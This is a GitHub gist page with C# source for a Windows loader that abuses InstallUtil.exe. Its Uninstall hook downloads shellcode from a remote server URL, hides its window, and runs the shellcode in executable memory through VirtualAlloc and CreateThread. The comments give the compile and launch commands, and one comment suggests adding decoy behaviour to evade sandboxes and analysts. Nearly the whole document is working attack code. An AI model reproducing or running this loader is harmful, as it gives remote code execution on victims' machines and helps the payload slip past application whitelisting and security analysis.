-
-
Save DanielRTeixeira/0fd06ec8f041f34a32bf5623c6dd479d to your computer and use it in GitHub Desktop.
InstallUtil - Download And Execute Reverse_HTTP Payload
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Net; | |
using System.Configuration.Install; | |
using System.Runtime.InteropServices; | |
/* | |
Author: Casey Smith, Twitter: @subTee | |
License: BSD 3-Clause | |
Step One: | |
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:revshell.exe rev_http.cs | |
Step Two: | |
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /server="http://192.168.56.103/Y0DNA" /U revshell.exe | |
//You can Add Logic to Use Correct URL generator. This is just me being lazy. | |
/server="http://[INSERT SERVER IP]/Y0DNA" | |
*/ | |
public class Program | |
{ | |
public static void Main() | |
{ | |
Console.WriteLine("Hello From Main...I Don't Do Anything"); | |
//Add any behaviour here to throw off sandbox execution/analysts :) | |
} | |
} | |
[System.ComponentModel.RunInstaller(true)] | |
public class Sample : System.Configuration.Install.Installer | |
{ | |
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. | |
public override void Uninstall(System.Collections.IDictionary savedState) | |
{ | |
Shellcode.Exec(Context.Parameters["server"]); | |
} | |
} | |
public class Shellcode | |
{ | |
public static void Exec(string url) | |
{ | |
IntPtr handle = GetConsoleWindow(); | |
ShowWindow(handle, 0); //Hides Process Window | |
WebClient wc = new WebClient(); | |
wc.Headers.Add("user-agent", "User-Agent DFIR "); | |
byte[] shellcode = wc.DownloadData(url); | |
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode.Length); | |
IntPtr hThread = IntPtr.Zero; | |
UInt32 threadId = 0; | |
// prepare data | |
IntPtr pinfo = IntPtr.Zero; | |
// execute native code | |
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); | |
WaitForSingleObject(hThread, 0xFFFFFFFF); | |
} | |
private static UInt32 MEM_COMMIT = 0x1000; | |
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | |
[DllImport("kernel32")] | |
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, | |
UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | |
[DllImport("kernel32")] | |
private static extern IntPtr CreateThread( | |
UInt32 lpThreadAttributes, | |
UInt32 dwStackSize, | |
UInt32 lpStartAddress, | |
IntPtr param, | |
UInt32 dwCreationFlags, | |
ref UInt32 lpThreadId | |
); | |
[DllImport("kernel32")] | |
private static extern UInt32 WaitForSingleObject( | |
IntPtr hHandle, | |
UInt32 dwMilliseconds | |
); | |
[DllImport("kernel32")] | |
static extern IntPtr GetConsoleWindow(); | |
[DllImport("user32.dll")] | |
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment